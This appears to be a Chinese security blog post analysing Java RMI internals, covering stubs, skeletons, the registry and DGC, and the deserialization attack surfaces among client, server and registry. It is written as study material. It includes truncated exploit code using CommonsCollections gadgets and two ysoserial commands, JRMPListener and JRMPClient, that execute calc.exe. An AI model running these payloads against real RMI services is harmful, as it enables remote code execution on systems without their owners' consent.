RMI
关于RMI这部分的学习:Java RMI 攻击由浅入深 | 素十八 以及 RMI反序列化漏洞之三顾茅庐-流程分析 | Halfblue,大佬们的文章就是这么有营养,再推个视频:Java反序列化RMI专题
RMI,即 Remote Method Invocation,Java 的远程方法调用。RMI 为应用提供了远程调用的接口,可以理解为 Java 自带的 RPC 框架,实现RMI的协议叫JRMP,RMI实现的过程中进行了java对象的传递,自然使用了序列化和反序列化,也自然产生了反序列化漏洞。
过程
首先引入两个概念:存根(stub) 以及 服务端骨架(skeletons)
为了屏蔽网络通信的复杂性,RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。
那么RMI的整个调用过程如下:
当客户端调用远程对象方法时, 存根 负责把要调用的远程对象方法的方法名及其参数编组打包,并将该包向下经远程引用层、传输层 转发给远程对象所在的服务器。通过 RMI 系统的 RMI 注册表 实现的简单服务器名字服务, 可定位远程对象所在的服务器。该包到达服务器后, 向上经远程引用层, 被远程对象的 Skeleton 接收, 此 Skeleton 解析客户包中的方法名及编组的参数后, 在服务器端执行客户要调用的远程对象方法, 然后将 该方法的返回值( 或产生的异常) 打包后通过相反路线返回给客户端, 客户端的 Stub 将返回结果解析后传递给客户程序。
分开来说:
-
1、客户调用客户端辅助对象stub上的方法
-
2、客户端辅助对象stub打包调用信息(变量、方法名),通过网络发送给服务端辅助对象skeleton
-
3、服务端辅助对象skeleton将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象
-
4、调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象skeleton
-
5、服务端辅助对象将结果打包,发送给客户端辅助对象stub
-
6、客户端辅助对象将返回值解包,返回给调用者
-
7、客户获得返回值
那么以两张图片来总结
代码实现
首先客户端与服务端都需要定义一个能够远程调用的接口,此接口必须扩展 java.rmi.Remote 接口,这个接口中的所有方法都必须声明抛出 java.rmi.RemoteException 异常
import java.rmi.Remote; |
然后创建一个远程接口的实现类,在这个类中重写方法是执行真正的代码逻辑的地方,通常会扩展 java.rmi.server.UnicastRemoteObject
类,扩展此类后,RMI 会自动将这个类 export 给远程想要调用它的 Client 端。这里必须为这个实现类提供一个构造函数并且抛出 RemoteException。
import java.rmi.RemoteException; |
接下来通过 Registry 使用注册来查找一个远端对象的引用,我们通常使用 LocateRegistry#createRegistry() 方法来创建注册中心,然后使用bind进行绑定
|
然后客户端进行调用:
import java.rmi.registry.LocateRegistry; |
源码分析
深入源码进行分析
远程对象的创建
这一部分的源码大多是设计到TCP的一些类,多层的封装,写的代码相当的绕。
那么首先我们创建了一个远程对象
RemoteHelloworld remoteHelloworld = new RemoteHelloworld(); |
那么这个类继承了 UnicastRemoteObject ,我们来断点调试一下,在调用类的构造方法时会走到 UnicastRemoteObject 的构造方法,传入port默认为0
调用其exportObject方法,从名字可以看出,该方法会将我们的远程对象进行一个导出,所以重点看一下这个方法,该方法接受port后创建了一个 UnicastServerRef 的对象,其中 UnicastServerRef 类主要与TCP等网络链接相关,那么其中存在着多层的封装,这里就不再进行分析,关于这一部分的详细RMI源码分析:RMI源码分析 - 腾讯云开发者社区
接着往下,其中ref(LiveRef类)为真正处理TCP网络相关的。
return时又进入了 UnicastServerRef#exportObject ,定义了stub即存根,通过 sun.rmi.server.Util#createProxy() 创建代理
可以看到创建了一个动态代理
返回后,创建 sun.rmi.transport.Target 对象,使用这个 target 对象封装了我们远程执行方法和生成的动态代理类(Stub)。
接着调用 LiveRef#exportObject 将target发布,接着往下跟到了 TCPTransport#exportObject,首先通过 listen() 为本地的stub开启了一个随机的端口。
然后调用 TCPTransport#exportObject 方法将 target 实例注册到 ObjectTable 中。ObjectTable 用来管理所有发布的服务实例 Target,ObjectTable 提供了根据 ObjectEndpoint 和 Remote 实例两种方式查找 Target 的方法(不同参数的 getTarget 方法)。
ObjectTable#putTarget ,最后将target 添加到 objTable 中
总结:
注册中心的创建
注册中心的创建通过
Registry r = LocateRegistry.createRegistry(1099); |
实例化了 RegistryImpl 并传入默认端口1099
创建LiveRef对象用于网络相关,然后创建 UnicastServerRef 对象,调用setup方法
在setup方法中依然调用 UnicastServerRef 的 exportObject 方法去 export 对象,只不过这次export的是 RegistryImpl 这个对象。
熟悉的配方 通过createProxy()创建动态代理
但是这里与创建远程对象有一点的不同,这里有一个 stubClassExists 的判断,如果为真,则调用 cerateStub() 后直接返回
来看一下判断,去获取要创建代理的类的名字加上 _Stub 是否存在
这里是存在的
然后在createStub中,通过构造方法返回一个 RegistryImpl_Stub 实例对象
RegistryImpl_Stub 继承了 RemoteStub ,实现了 Registry。这个类实现了 bind/list/lookup/rebind/unbind 等 Registry 定义的方法,全部是通过序列化和反序列化来实现的。
createProxy 创建完代理类之后进入 setSkeleton()
其中通过Util#createSkeleton方法创建 skeleton。skel接收返回值
去实例化一个 RegistryImpl_Skel 对象,返回到 UnicastServerRef 的 this.skel 中
结束完 setSkeleton() 之后,剩下的export步骤一样,创建target对象进行封装,然后放入到 objTable 中
来看一下objTable中的值,目前有三个
第一个为DGC为垃圾回收,默认创建
第二个为创建的远程对象,stub为动态代理对象,skel为空
第三个为注册中心,stub为 RegistryImpl_Stub 对象,skel为 RegistryImpl_Skel 对象
服务的注册
这里就是对于 bind 操作的过程
r.bind("hello",remoteHelloworld); |
通常情况下,如果 Server 端和 Registry 在同一机器,我们可以直接调用 Registry 的 bind 方法进行绑定,具体实现在 RegistryImpl 的 bind 方法,就是将 Remote 对象和名称 String 放在成员变量 bindings 中,这是一个 Hashtable 对象。
客户端请求注册中心-客户端
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); |
LocateRegistry#getRegistry() 首先通过传入的host与port创建了一个liveref用于网络请求,然后通过UnicastRef进行封装,然后与注册中心的代理注册逻辑一样,创建了相同的一个 RegistryImpl_Stub 对象
接下来通过lookup方法与registry端通信,查找远程对象从而获取存根
Hello stub = (Hello) registry.lookup("hello"); |
方法的开始通过newCall与registry进行通信,下面分为三个部分:
-
通过序列化将要查找的name写到输出流里面
-
调用UnicastRef的 invoke 方法,invoke中调用 StreamRemoteCall#executeCall,去释放输出流
-
获取输入流,将返回值进行 反序列化
第三步返回值经过反序列化之后就是获取的注册中心的动态代理stub
这里有两个可攻击的点,一个是在lookup中的反序列化的点,可通过registry返回恶意类。二是在executeCall中,如果返回值为异常,进入case中会进行反序列化。
那么lookup中的反序列化在其他的方法中并不普遍存在,例如bind等方法是没有的,但是这些方法都有invoke的调用,即都有可能进入case中,所以invoke中的反序列化点存在普遍性,利用范围也更大。
客户端请求注册中心-注册中心端
Hello stub = (Hello) registry.lookup("hello"); |
在 Registry 端,由 sun.rmi.transport.tcp.TCPTransport#handleMessages 来处理请求,调用 serviceCall 方法处理。
断点下到 handleMessages 中
serviceCall 方法中从 ObjectTable 中获取封装的 Target 对象,并获取其中的封装的 UnicastServerRef 以及 RegistryImpl 对象。然后调用 UnicastServerRef 的 dispatch 方法
因为skel不为空,判定为registery,就调用了 oldDispatch,这里判断了 this.skel 是否为空,用来区别自己是 Registry 还是 Server。
调用 RegistryImpl_Skel#dispatch
RegistryImpl_Skel 的 dispatch 方法根据流中写入的不同的操作类型分发给不同的方法处理,例如 0 代表着 bind 方法,2 代表lookup方法,这里为lookup,通过 反序列化获取要查找的值,然后调用 RegistryImpl#lookup()
lookup从bindings中进行get获取
这里存在一个反序列化的点,可通过客户端攻击Registry端。
获取完后返回 RegistryImpl_Skel#dispatch,将获取的值序列化传过去
客户端请求服务端-客户端
接下来客户端调用服务端的远程对象
stub.sayHello(); |
因为获取的是动态代理,所以走到 RemoteObjectInvocationHandler#invoke,跳过几个if判断后走到 invokeRemoteMethod
在 invokeRemoteMethod 中实际是委托 RemoteRef 的子类 UnicastRef#invoke 方法执行调用。
UnicastRef 的 invoke 方法是一个建立连接,执行调用,并读取结果并反序列化的过程。这里,UnicastRef 包含属性 LiveRef ,LiveRef 类中的 Endpoint、Channel 封装了与网络通信相关的方法。
如果方法有参数,调用 marshalValue 将参数写入到输出流,然后调用 executeCall
executeCall中通过 releaseOutputStream() 释放输出流,触发调用。
executeCall之后,接受返回的输入流,通过 unmarshalValue() 去反序列化接受返回值
客户端请求服务端-服务端
依然是 handleMessages 中的 UnicastServerRef 的 dispatch ,可以对比着 客户端请求注册中心-注册中心端 来看
在客户端释放输出流后,服务端通过getInputStream()获取输入流。
跳过if,获取method名称,unmarshalValue用来 反序列化传入的参数
接着,在释放输入流后,反射调用
服务端再将返回值通过marashalvalue序列化传给客户端
DGC
在远程对象的创建一节,知道了 服务端 通过 ObjecyTable#putTarget 将注册对象put到objTable中,其中有默认的DGCImpl对象
来看一下产生的代码:调用静态变量dgcLog,那么当调用一个类的静态变量的时候是会对类进行类初始化
跟进发现静态代码块,使用单例模式创建了一个DGCImpl对象,这个对象就是RMI的分布式垃圾处理对象,一旦有远程对象被创建,就会实例化这个对象,但也只会创建这一次。DGC的创建模式 类似于注册中心 的创建也是系统的内置类,所以是直接创建了 DGCImpl_Stub类,而不是创建的动态代理。并且设置了disp的skeleton是 DGCImpl_Skel。最后同样把这些放进Target,把Target保存进ObjectTable。
那么在 客户端 进行调用时会不会也同请求注册中心一样,在本地生成一个DGCImpl_Stub?答案为是的。
在 RegistryImpl_Stub#lookup的ref.done中,在接受服务端的返回值后,通过done的后续调用创建DGCImpl_Stub,并调用了其中的 DGCImpl_Stub#dirty
关注一下dirty函数,两个点 1. invoke触发UnicastRef的execCall从而进入switch反序列化。2.获取输入流,readObject
再看一下 服务端 ,依然是 handleMessages 中的 UnicastServerRef 的 dispatch ,skel不为空进入 oldDispatch 最后进入DGCImpl_Skel#dispatch。两个case语句,一个clean方法基本不会调用,另一个case为dirty部分,两个case中都调用了readObject,存在反序列化攻击点
攻击思路
整体的RMI流程已经基本分析,可以看到不管是Server端,Registry端和Client端都存在反序列化利用的点。其实说白了就跟那排列组合没啥区别。
1、攻击客户端:
RegistryImpl_Stub#lookup->注册中心攻击客户端
DGCImpl_Stub#dirty->服务端攻击客户端
UnicastRef#invoke->服务端攻击客户端
StreamRemoteCall#executeCall->服务端/注册中心攻击客户端
2、攻击服务端
UnicastServerRef#dispatch->客户端攻击服务端
DGCImpl_Skel#dispatch->客户端攻击服务端
3、攻击注册中心
RegistryImpl_Skel#dispatch->客户端/服务端攻击注册中心
攻击实现
大老总结图
客户端攻击服务端
服务端的UnicastServerRef#dispatch调用了unmarshalValue。如果服务端就收的是object,那么客户端把参数设置成payload就能攻击了。如果是其他类型下面再讨论
Server端定义接受Object
import java.rmi.Remote; |
Client
import org.apache.commons.collections.Transformer; |
如果服务端接受的类型为String,那么在服务端就会找不到对应的调用方法,这个对应方法,是在 UnicastServerRef 的 dispatch 方法中在 this.hashToMethod_Map 中通过 Method 的 hash 来查找的。这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。
在客户端的
RemoteObjectInvocationHandler#invokeRemoteMethod是计算method的hash地方,我们可以下断点到这里,然后在计算hash之前修改method的值为String
methos=ClassLoader.getSystemClassLoader().loadClass("org.example.IRemoteObj").getDeclaredMethod("sayHello",String.class) |
或者重写invoke
public static void main(String[] args) throws Exception { |
注册中心攻击客户端
客户端通过调用lookup,list等,会反序列化从注册中心发送的东西,注册中心只要绑定一个恶意的对象即可
Server
import java.rmi.Remote; |
Evil.java
import org.apache.commons.collections.Transformer; |
攻击JRMP客户端
只要客户端的stub发起JRMP请求,就会调用UnicastRef#invoke,也就会调用StreamRemoteCall#executeCall,导致被反序列化攻击。这里想实现攻击需要自己实现一个恶意服务端,把返回的异常信息改成payload,这里利用ysoserial里面的exploit/JRMPListener,去起一个假的Server
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe |
DGC攻击服务端
这块有点复杂。
java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections6 calc.exe |
结语
简单了解了一下RMI的流程以及攻击面,其中细节以及攻击的实现,以及后续的jdk修复以及绕过等等还有很多要学习,但是深感自身的不足,能力有限。
参考
Java RMI 攻击由浅入深 | 素十八
RMI反序列化漏洞之三顾茅庐-流程分析 | Halfblue
RMI反序列化漏洞之三顾茅庐-攻击实现 | Halfblue
JAVA 协议安全笔记-RMI篇
针对RMI服务的九重攻击上
RMI-攻击方式总结
原文始发于微信公众号(Arr3stY0u):RMI反序列化初探
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论